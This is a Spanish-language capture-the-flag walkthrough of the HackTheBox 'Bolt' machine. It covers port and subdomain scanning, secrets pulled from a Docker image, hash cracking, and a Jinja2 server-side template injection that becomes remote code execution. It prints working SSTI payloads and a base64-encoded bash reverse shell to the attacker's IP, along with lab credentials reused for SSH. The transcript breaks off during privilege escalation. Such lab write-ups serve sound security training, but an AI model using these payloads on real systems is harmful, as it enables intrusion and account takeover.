Saludos pentesters, hoy tenemos una máquina Linux de dificultad media, espero que estéis hack para empezar.

Fecha de Resolución

Fase de Reconocimiento

Empezamos con el reconocimiento de puertos lanzando un TCP SYN Port Scan

Parámetro Descripción
-p- Escanea el rango completo de puertos (hasta el 65535)
-sS Realiza un escaneo de tipo SYN port scan
–min-rate Enviar paquetes no más lentos que 5000 por segundo
–open Mostrar sólo los puertos que esten abiertos
-vvv Triple verbose para ver en consola los resultados
-n No efectuar resolución DNS
-Pn No efectuar descubrimiento de hosts
-oG Guarda el output en un archivo con formato grepeable para usar la función extractPorts de S4vitar
p3ntest1ng:~$ nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.114 -oG allPorts
 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-19 09:59 CET
Initiating SYN Stealth Scan at 09:59
Scanning 10.10.11.114 [65535 ports]
Discovered open port 443/tcp on 10.10.11.114
Discovered open port 80/tcp on 10.10.11.114
Discovered open port 22/tcp on 10.10.11.114
Completed SYN Stealth Scan at 09:59, 12.77s elapsed (65535 total ports)
Nmap scan report for 10.10.11.114
Host is up, received user-set (0.092s latency).
Scanned at 2022-02-19 09:59:33 CET for 13s
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.12 seconds
           Raw packets sent: 65604 (2.887MB) | Rcvd: 65600 (2.624MB)

Identificamos estos puertos abiertos:

Puerto Descripción
22 SSH - SSH o Secure Shell
80 HTTP - Servidor web
443 HTTPS - Protocolo seguro de transferencia de hipertexto

Vamos a obtener más información con un escaneo específico sobre los puertos que hemos encontrado.

Parámetro Descripción
-p Escanea sobre los puertos especificados
-sC Muestra todos los scripts relacionados con el servicio
-sV Determina la versión del servicio
-oN Guarda el output en un archivo con formato normal
p3ntest1ng:~$ nmap -sCV -p 22,80,443 10.10.11.114 -oN targeted

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-19 10:02 CET
Nmap scan report for 10.10.11.114
Host is up (0.077s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
|   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_  256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title:     Starter Website -  About 
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after:  2022-02-24T19:11:23
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.48 seconds

Probemos con wfuzz a ver qué encontramos, primero con un diccionario pequeño y si no encuentro nada, usaré uno más grande.

Parámetro Descripción
-c Muestra el output en formato colorizado
-w Utiliza el diccionario especificado
–hc 404 Oculta todos los códigos de estado 404
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://10.10.11.114/FUZZ 2>/dev/null

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.114/FUZZ
Total requests: 4614

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000001:   200        504 L    1801 W     30341 Ch    "http://10.10.11.114/"                                                                                                      
000001013:   200        467 L    1458 W     26291 Ch    "contact"                                                                                                                   
000001340:   200        345 L    1141 W     18568 Ch    "download"                                                                                                                  
000002017:   308        3 L      24 W       247 Ch      "index"                                                                                                                     
000002020:   200        504 L    1801 W     30341 Ch    "index.html"                                                                                                                
000002347:   200        172 L    564 W      9287 Ch     "login"                                                                                                                     
000002362:   302        3 L      24 W       209 Ch      "logout"                                                                                                                    
000003098:   200        548 L    2014 W     31723 Ch    "pricing"                                                                                                                   
000003160:   500        4 L      40 W       290 Ch      "profile"                                                                                                                   
000003341:   200        198 L    639 W      11038 Ch    "register"                                                                                                                  
000003591:   200        404 L    1419 W     22441 Ch    "services"                                                                                                                  
000003678:   200        198 L    639 W      11038 Ch    "sign-up"                                                                                                                   

Total time: 0
Processed Requests: 4614
Filtered Requests: 4602
Requests/sec.: 0

Comprobemos si existen otros subdominios en el servidor web:

Parámetro Descripción
-c Mostrar el output en formato colorizado
-w Utiliza el diccionario especificado
–hw 1801 Oculta los resultados con 1801 palabras
-H Realiza una consulta de tipo header
-u Especifica la URL para la consulta
-t Nos permite lanzar el comando con N threads
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt --hw 1801 -H "Host: FUZZ.bolt.htb" -u http://bolt.htb/ -t 50 2>/dev/null

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bolt.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000002:   200        98 L     322 W      4943 Ch     "mail"                                                                                                                      
000000038:   302        3 L      24 W       219 Ch      "demo"                                                                                                                      

Total time: 0
Processed Requests: 114441
Filtered Requests: 114439
Requests/sec.: 0

Hemos encontrado dos subdominios y anteriormente vimos que existe otro subdominio passbolt.bolt.htb así que vamos a agregarlos todos a nuestro /etc/hosts

p3ntest1ng:~$ echo '10.10.11.114 bolt.htb mail.bolt.htb demo.bolt.htb passbolt.bolt.htb' | sudo tee -a /etc/hosts

Veamos cómo está montada la página. Primero tenemos el puerto 80 alojando esta página:

Website

Aquí hay un panel de acceso pero he probado credenciales por defecto y varias vulnerabilidades sin tener suerte con ninguna opción:

Login

Forbidden

Forbidden

Entre estas dos imagenes la diferencia es que en uno de los intentos probé HTML Injection y devolvió un resultado diferente, sin embargo no parece llevar a nada.

En el mismo formulario de Login tenemos un enlace para registrar una cuenta en la página, pero tampoco es funcional.

Registration

Registration

Fase de Explotación

Si seguimos analizando la página, vemos que es posible descargar un contenedor Docker:

Docker

Vamos a descargarlo a nuestra máquina y descomprimirlo para ver el contenido, tal vez encontremos información relevante.

p3ntest1ng:~$ wget http://bolt.htb/uploads/image.tar
p3ntest1ng:~$ tar -xvf image.tar
p3ntest1ng:~$ ls -la
drwxrwx--- root vboxsf  8.0 KB Sat Feb 19 12:29:50 2022  .
drwxrwx--- root vboxsf    0 B  Sat Feb 19 09:52:49 2022  ..
drwxrwx--- root vboxsf    0 B  Fri Mar  5 18:54:01 2021  187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950
drwxrwx--- root vboxsf    0 B  Fri Mar  5 18:54:01 2021  1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c
drwxrwx--- root vboxsf    0 B  Fri Mar  5 18:54:01 2021  2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa
drwxrwx--- root vboxsf    0 B  Fri Mar  5 18:54:01 2021  3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab
drwxrwx--- root vboxsf    0 B  Fri Mar  5 18:54:01 2021  3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162
drwxrwx--- root vboxsf    0 B  Fri Mar  5 18:54:01 2021  3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b
drwxrwx--- root vboxsf    0 B  Fri Mar  5 18:54:01 2021  41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
drwxrwx--- root vboxsf    0 B  Fri Mar  5 18:54:01 2021  745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf
drwxrwx--- root vboxsf    0 B  Fri Mar  5 18:54:01 2021  9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77
drwxrwx--- root vboxsf    0 B  Fri Mar  5 18:54:01 2021  a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2
drwxrwx--- root vboxsf    0 B  Fri Mar  5 18:54:01 2021  d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26
.rwxrwx--- root vboxsf  154 MB Sat Feb 19 10:07:19 2022  image.tar
.rwxrwx--- root vboxsf 1002 B  Sat Feb 19 10:13:14 2022  manifest.json
.rwxrwx--- root vboxsf  119 B  Sat Feb 19 10:13:14 2022  repositories

Si hacemos uso del comando tree vemos que todos esos directorios contienen estos archivos:

p3ntest1ng:~$ tree
...[snip]...
  ├── json
  ├── layer.tar
  └── VERSION
...[snip]...

He revisado algunos de los archivos json pero no encontré nada interesante, pero vemos varios layer.tar así que vamos a localizarlos.

p3ntest1ng:~$ find . -type f -name layer.tar
./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/layer.tar
./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/layer.tar
./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/layer.tar
./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar
./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/layer.tar
./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b/layer.tar
./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar
./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/layer.tar
./9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/layer.tar
./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
./d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26/layer.tar

De todos estos directorios, primero nos centraremos en este:

p3ntest1ng:~$ cd 745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/
p3ntest1ng:~$ tar -xvf layer.tar
.env
config.py
gunicorn-cfg.py
requirements.txt
run.py
p3ntest1ng:~$ cat .env
DEBUG=True
SECRET_KEY=S3cr3t_K#Key
DB_ENGINE=postgresql
DB_NAME=appseed-flask
DB_HOST=localhost
DB_PORT=5432
DB_USERNAME=appseed
DB_PASS=pass

Tenemos credenciales para la conexión a la base de datos PostgreSQL. Además vemos que el servicio PostgreSQL se ejecuta en el localhost bajo el puerto 5432, algo que no pudimos ver anteriormente en el escaneo de puertos. También tenemos un archivo config.py y si lo analizamos encontramos otra contraseña, os dejo los datos más relevantes:

p3ntest1ng:~$ cat config.py
...[snip]...
SECRET_KEY = config('SECRET_KEY', default='S#perS3crEt_007')
SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'db.sqlite3')
...[snip]...
DEFAULT_MAIL_SENDER = 'support@bolt.htb'

Como hemos visto, tenemos otra credencial para una aplicación desarrollada usando Flask A menudo las aplicaciones en Flask se combinan con otro servidor http (WSGI) llamado Gunicorn, gracias al archivo gunicorn-cfg.py sabemos que el servicio se ejecuta sobre el puerto 5005. Por último vemos que existe un archivo db.sqlite3 en alguna parte, vamos a buscarlo y analizarlo.

p3ntest1ng:~$ find . -type f -name db.sqlite3
./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/db.sqlite3
p3ntest1ng:~$ cd a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/
p3ntest1ng:~$ sqlite3 -column -header
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .open db.sqlite3
sqlite> .show
        echo: off
         eqp: off
     explain: auto
     headers: on
        mode: column
   nullvalue: ""
      output: stdout
colseparator: "|"
rowseparator: "\n"
       stats: off
       width: 
    filename: db.sqlite3
sqlite> .tables
User
sqlite> select * from user;
id  username  email           password                            email_confirmed  profile_update
--  --------  --------------  ----------------------------------  ---------------  --------------
1   admin     admin@bolt.htb  $1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.                                 
sqlite> 

Hemos encontrado un usuario en esta base de datos y el hash de su contraseña. Tratemos de romper este hash, pero antes tenemos que saber qué tipo de hash tenemos.

p3ntest1ng:~$ hash-identifier
 HASH: $1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.

Possible Hashs:
[+] MD5(Unix)
--------------------------------------------------
 HASH: ^C

	Bye!

Este tipo de hash ya lo hemos visto anteriormente y sabemos que se trata de un salted-hash por lo cual el formato es md5crypt-long

p3ntest1ng:~$ echo '$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.' > hash
p3ntest1ng:~$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long hash
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbolt         (?)
1g 0:00:00:25 DONE (2022-02-19 16:49) 0.03972g/s 6862p/s 6862c/s 6862C/s december91..deadbeat
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Lo tenemos. Ya podemos iniciar sesión en la página con estas credenciales.

Admin

En este panel no he conseguido gran cosa porque no puedo leer los emails por ejemplo, la funcionalidad del sitio parece limitada. Lo único interesante es una conversación a través del Direct Chat del sitio entre dos desarrolladores con información interesante:

DirectChat

Volveremos más tarde sobre este punto, ahora que tenemos las credenciales del administrador, podemos volver a los subdominios encontrados anteriormente para tratar de iniciar sesión en alguno de ellos, vamos a verificarlo.

El primero que pruebo obviamente es el servidor de correo electrónico del sitio, alojado en http://mail.bolt.htb/?_task=login pero no logro acceder. Pensemos un momento en el otro subdomnio… Al principio intentamos registrar una nueva cuenta desde http://bolt.htb/register y si recordamos bien se producía un error interno con código de estado HTTP 500, pero tenemos otro panel de registro en el subdominio http://demo.bolt.htb/register Estos paneles tienen una diferencia y es que en este último nos piden un código de invitación:

Registration

Dado que tenemos todo el código fuente del sitio, podemos volver a realizar una búsqueda entre todos los directorios generados al descomprimir los layer.tar Sabiendo que se utiliza Flask y cómo es la estructura de un proyecto en este entorno, las rutas de las aplicaciones se gestionan en un archivo routes.py Vamos a buscar todos los archivos con este nombre y analizar cada uno para ver si encontramos alguna información.

p3ntest1ng:~$ find . -type f -name "routes.py"
./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/app/base/routes.py
./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py
./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/home/routes.py

Para ahorraros tiempo, el primero y último de ellos no contienen nada interesante, pero el segundo contiene la definición de las rutas, y es ahí donde podemos ver cómo se gestiona el registro de nuevas cuentas:

Routes

Es importante tener en cuenta que únicamente nos dejará registar un email del tipo user@bolt.htb, esto se puede ver en el código fuente:

Pattern

Listo, una vez nos hemos registrado ya podemos iniciar sesión con nuestro nuevo usuario y ver el panel completo.

Logged

También podemos iniciar sesión en el servidor de correo electrónico con las mismas credenciales:

Mail

Aquí vemos muchas opciones, yo he estado un rato probando cosas y he llegado a lo siguiente. Tenemos la opción de modificar nuestro nombre, experiencia y habilidades.

Settings

Sabemos que la aplicación está hecha con Flask, por lo que podríamos tratar de aprovechar una vulnerabilidad conocida como Server-Side Template Injection (SSTI)

Usaremos el siguiente payload de prueba:

Payload

Al enviar la petición, nos llegará un email con un enlace de confirmación a nuestra bandeja de entrada, si hacemos click en el enlace se aplican los cambios y nos llegará otro correo confirmando que se aplicaron los cambios y es ahí donde veremos si es vulnerable.

Confirmation

Payload

En este caso tenemos suerte y ahora podemos probar a ejecutar comandos de forma remota (RCE) en el servidor. Para ello podemos buscar en PayloadsAllTheThings un payload que nos otorge una shell inversa para ganar acceso al sistema.

Vemos que podemos tratar de ejecutar comandos con ayuda del objeto cycler de la plantilla jinja2 (usada por Flask). Si este no funcionara, tenemos otros objetos disponibles para probar:

{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

El payload que usaremos nosotros es el siguiente:

{{ cycler.__init__.__globals__.os.popen('command').read() }}

Primero vamos a convertir nuestro comando para la shell inversa a base64 para que no haya problemas:

p3ntest1ng:~$ echo -n 'bash -i >& /dev/tcp/10.10.16.24/9999 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yNC85OTk5IDA+JjE=

Nos ponemos en escucha con netcat por el puerto que hayamos elegido y enviamos el payload en la web:

p3ntest1ng:~$ nc -nlvp 9999
listening on [any] 9999 ...

Este es nuestro payload completo:

{{cycler.__init__.__globals__.os.popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yNC85OTk5IDA+JjE= | base64 -d | bash').read()}}

Payload

Enviamos el formulario, revisamos en el correo electrónico, pinchamos en el enlace y finalmente obtenemos nuestra shell.

p3ntest1ng:~$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.16.24] from (UNKNOWN) [10.10.11.114] 41374
bash: cannot set terminal process group (901): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bolt:~/demo$ 

Como es habitual, siempre que obtenemos una shell tenemos que realizar un pequeño tratamiento a la tty:

www-data@bolt:~/demo$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@bolt:~/demo$ ^Z
zsh: suspended  nc -nlvp 9999
p3ntest1ng:~$ stty raw -echo; fg
[1]  + continued  nc -nlvp 9999
                               reset xterm
www-data@bolt:~/demo$ export TERM=xterm
www-data@bolt:~/demo$ export SHELL=bash
www-data@bolt:~/demo$ stty rows 43 columns 189

Vamos a comprobar qué usuarios existen en el sistema y si podemos listar sus directorios:

www-data@bolt:~/demo$ cat /etc/passwd | grep -v "false\|nologin" | tr ":" " " | column -t
root   x  0     0      root   /root        /bin/bash
sync   x  4     65534  sync   /bin         /bin/sync
eddie  x  1000  1000   Eddie  Johnson,,,   /home/eddie  /bin/bash
clark  x  1001  1001   Clark  Griswold,,,  /home/clark  /bin/bash
www-data@bolt:~/demo$ ls -la /home/eddie
ls: cannot open directory '/home/eddie': Permission denied
www-data@bolt:~/demo$ ls -la /home/clark
ls: cannot open directory '/home/clark': Permission denied

Pues no tenemos permiso, veamos qué tenemos en nuestro directorio actual.

www-data@bolt:~/demo$ ls -la
total 36
drwxr-xr-x 5 www-data www-data 4096 Aug  4  2021 .
drwxr-xr-x 6 root     root     4096 Aug  4  2021 ..
-rw-r--r-- 1 www-data www-data 6399 Mar  6  2021 app.py
-rw-r--r-- 1 www-data www-data  420 Mar  4  2021 config.py
drwxr-xr-x 2 www-data www-data 4096 Mar  6  2021 __pycache__
drwxr-xr-x 3 www-data www-data 4096 Mar  4  2021 static
drwxrwxr-x 6 www-data www-data 4096 Mar  5  2021 templates
-rw-r--r-- 1 www-data www-data   62 Mar  4  2021 wsgi.py

Interesante, tenemos un archivo config.py veamos qué contiene.

www-data@bolt:~/demo$ cat config.py 
"""Flask Configuration"""
#SQLALCHEMY_DATABASE_URI = 'sqlite:///database.db'
SQLALCHEMY_DATABASE_URI = 'mysql://bolt_dba:dXUUHSW9vBpH5qRB@localhost/boltmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'kreepandcybergeek'
MAIL_SERVER = 'localhost'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
#MAIL_DEBUG = app.debug
MAIL_USERNAME = None
MAIL_PASSWORD = None
DEFAULT_MAIL_SENDER = 'support@bolt.htb'

Tenemos credenciales de acceso a una base de datos MySQL, vamos a conectarnos para ver qué encontramos.

www-data@bolt:~/demo$ mysql --user=bolt_dba --password=dXUUHSW9vBpH5qRB --database=boltmail
...[snip]...
mysql> show tables;
+--------------------+
| Tables_in_boltmail |
+--------------------+
| user               |
+--------------------+
1 row in set (0.00 sec)

mysql> describe user;
+-----------------+---------------+------+-----+---------+----------------+
| Field           | Type          | Null | Key | Default | Extra          |
+-----------------+---------------+------+-----+---------+----------------+
| id              | int           | NO   | PRI | NULL    | auto_increment |
| username        | varchar(255)  | YES  |     | NULL    |                |
| password        | varchar(255)  | YES  |     | NULL    |                |
| email           | varchar(255)  | YES  |     | NULL    |                |
| host_header     | varchar(255)  | YES  |     | NULL    |                |
| ip_address      | varchar(255)  | YES  |     | NULL    |                |
| email_confirmed | tinyint(1)    | YES  |     | NULL    |                |
| profile_confirm | tinyint(1)    | YES  |     | NULL    |                |
| profile_update  | varchar(4096) | YES  |     | NULL    |                |
+-----------------+---------------+------+-----+---------+----------------+
9 rows in set (0.00 sec)

mysql> select username, password from user;
+-----------+------------------------------------+
| username  | password                           |
+-----------+------------------------------------+
| admin     | $1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q. |
| obake     | $1$fHtnVNwG$USciuDomL1k48QhUS0BAE. |
| WildZarek | $1$ezmsD6Ng$9PcUyGAH6mA7OesosOfZ90 |
| abc123    | $1$UE0cg8e2$omyWt8sTBcKVaY0ePa5iq/ |
+-----------+------------------------------------+
4 rows in set (0.00 sec)

mysql> exit
Bye

Aquí no hay nada interesante, el hash de la contraseña de admin ya lo habíamos visto anteriormente y el resto son usuarios de HTB. Hay un subdominio que aún no hemos investigado, recordad que lo vimos en la cabecera SSL del servidor en el escaneo con Nmap.

Passbolt

Aquí no podemos hacer mucho, tenemos algunas direcciones de email pero ninguna nos sirve porque se requiere de una invitación según dice la página.

Passbolt

Podemos buscar directorios y archivos con este nombre en el sistema:

www-data@bolt:~$ find / -type d -name passbolt 2>/dev/null
/etc/passbolt
/usr/share/php/passbolt
/usr/share/passbolt
/var/lib/passbolt
/var/log/passbolt
www-data@bolt:~$ find / -type f -name "passbolt.*" 2>/dev/null
/etc/apt/sources.list.d/passbolt.list
/etc/ssl/certs/passbolt.bolt.htb.crt
/etc/passbolt/passbolt.php
/etc/passbolt/passbolt.default.php
/usr/share/php/passbolt/plugins/Passbolt/WebInstaller/templates/Config/passbolt.php

Me llama la atención el archivo de nombre passbolt.php

www-data@bolt:~$ cat /etc/passbolt/passbolt.php
...[snip]...
    // Database configuration.
    'Datasources' => [
        'default' => [
            'host' => 'localhost',
            'port' => '3306',
            'username' => 'passbolt',
            'password' => 'rT2;jW7<eY8!dX8}pQ8%',
            'database' => 'passboltdb',
        ],
    ],
...[snip]...

Otra credencial para otra base de datos que presuponemos será MySQL. Intentemos conectarnos.

www-data@bolt:~$ mysql --user=passbolt --password='rT2;jW7<eY8!dX8}pQ8%' --database=passboltdb
...[snip]...
mysql> show tables;
+-----------------------+
| Tables_in_passboltdb  |
+-----------------------+
| account_settings      |
| action_logs           |
| actions               |
| authentication_tokens |
| avatars               |
| comments              |
| email_queue           |
| entities_history      |
| favorites             |
| gpgkeys               |
| groups                |
| groups_users          |
| organization_settings |
| permissions           |
| permissions_history   |
| phinxlog              |
| profiles              |
| resource_types        |
| resources             |
| roles                 |
| secret_accesses       |
| secrets               |
| secrets_history       |
| user_agents           |
| users                 |
+-----------------------+
25 rows in set (0.00 sec)

mysql> describe secrets;
+-------------+------------+------+-----+---------+-------+
| Field       | Type       | Null | Key | Default | Extra |
+-------------+------------+------+-----+---------+-------+
| id          | char(36)   | NO   | PRI | NULL    |       |
| user_id     | char(36)   | NO   | MUL | NULL    |       |
| resource_id | char(36)   | NO   | MUL | NULL    |       |
| data        | mediumtext | NO   |     | NULL    |       |
| created     | datetime   | NO   |     | NULL    |       |
| modified    | datetime   | NO   |     | NULL    |       |
+-------------+------------+------+-----+---------+-------+
6 rows in set (0.00 sec)

mysql> select * from secrets\G
*************************** 1. row ***************************
         id: 643a8b12-c42c-4507-8646-2f8712af88f8
    user_id: 4e184ee6-e436-47fb-91c9-dccb57f250bc
resource_id: cd0270db-c83f-4f44-b7ac-76609b397746
       data: -----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----

    created: 2021-02-25 21:50:11
   modified: 2021-03-06 15:34:36
1 row in set (0.00 sec)

mysql> exit
Bye

Encontramos un mensaje encriptado con PGP, aparte de esto no hay nada interesante. Existen algunas claves públicas en la tabla gpgkeys pero con esto no podemos hacer nada. Probemos si hay reutilización de contraseñas.

www-data@bolt:~$ ssh eddie@10.10.11.114
Could not create directory '/var/www/.ssh'.
The authenticity of host '10.10.11.114 (10.10.11.114)' can't be established.
ECDSA key fingerprint is SHA256:4Mga1e1YRruqTQyOD4uO0eJuQ/CnipOfPfW+ETgtzv8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
eddie@10.10.11.114's password: rT2;jW7<eY8!dX8}pQ8%
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

182 updates can be applied immediately.
105 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have mail.
Last login: Sat Feb 19 12:54:13 2022 from 10.10.15.90
eddie@bolt:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  user.txt  Videos
eddie@bolt:~$ cat user.txt 
fb18384b0b85d7df10a51e4b41fe0fc3

Enhorabuena pentesters, tenemos la flag de usuario. Nos queda conseguir acceso privilegiado al sistema, ¡al lío!.

Escalada de Privilegios

Si nos fijamos en la bienvenida al sistema, nos dice que tenemos un correo. Vamos a buscar dónde se encuentra para leerlo.

eddie@bolt:~$ find / -type d -name mail 2>/dev/null
/home/eddie/.cache/evolution/mail
/home/eddie/.local/share/evolution/mail
/var/mail
eddie@bolt:~$ cat /var/mail/eddie
From clark@bolt.htb  Thu Feb 25 14:20:19 2021
Return-Path: <clark@bolt.htb>
X-Original-To: eddie@bolt.htb
Delivered-To: eddie@bolt.htb
Received: by bolt.htb (Postfix, from userid 1001)
	id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
Subject: Important!
To: <eddie@bolt.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20210225212019.DFF264CD@bolt.htb>
Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
From: Clark Griswold <clark@bolt.htb>

Hey Eddie,

The password management server is up and running.
Go ahead and download the extension to your browser and get logged in.
Be sure to back up your private key because I CANNOT recover it.
Your private key is the only way to recover your account.
Once you're set up you can start importing your passwords.
Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...

-Clark

Interesante, nos comenta el usuario Clark que el servidor de gestión de contraseñas ya está operativo y que podemos descargar una extensión para el navegador. Anteriormente vimos que en la base de datos existe un mensaje encriptado con GPG, busquemos la clave privada.

eddie@bolt:~$ grep -r 'BEGIN PGP PRIVATE' ~
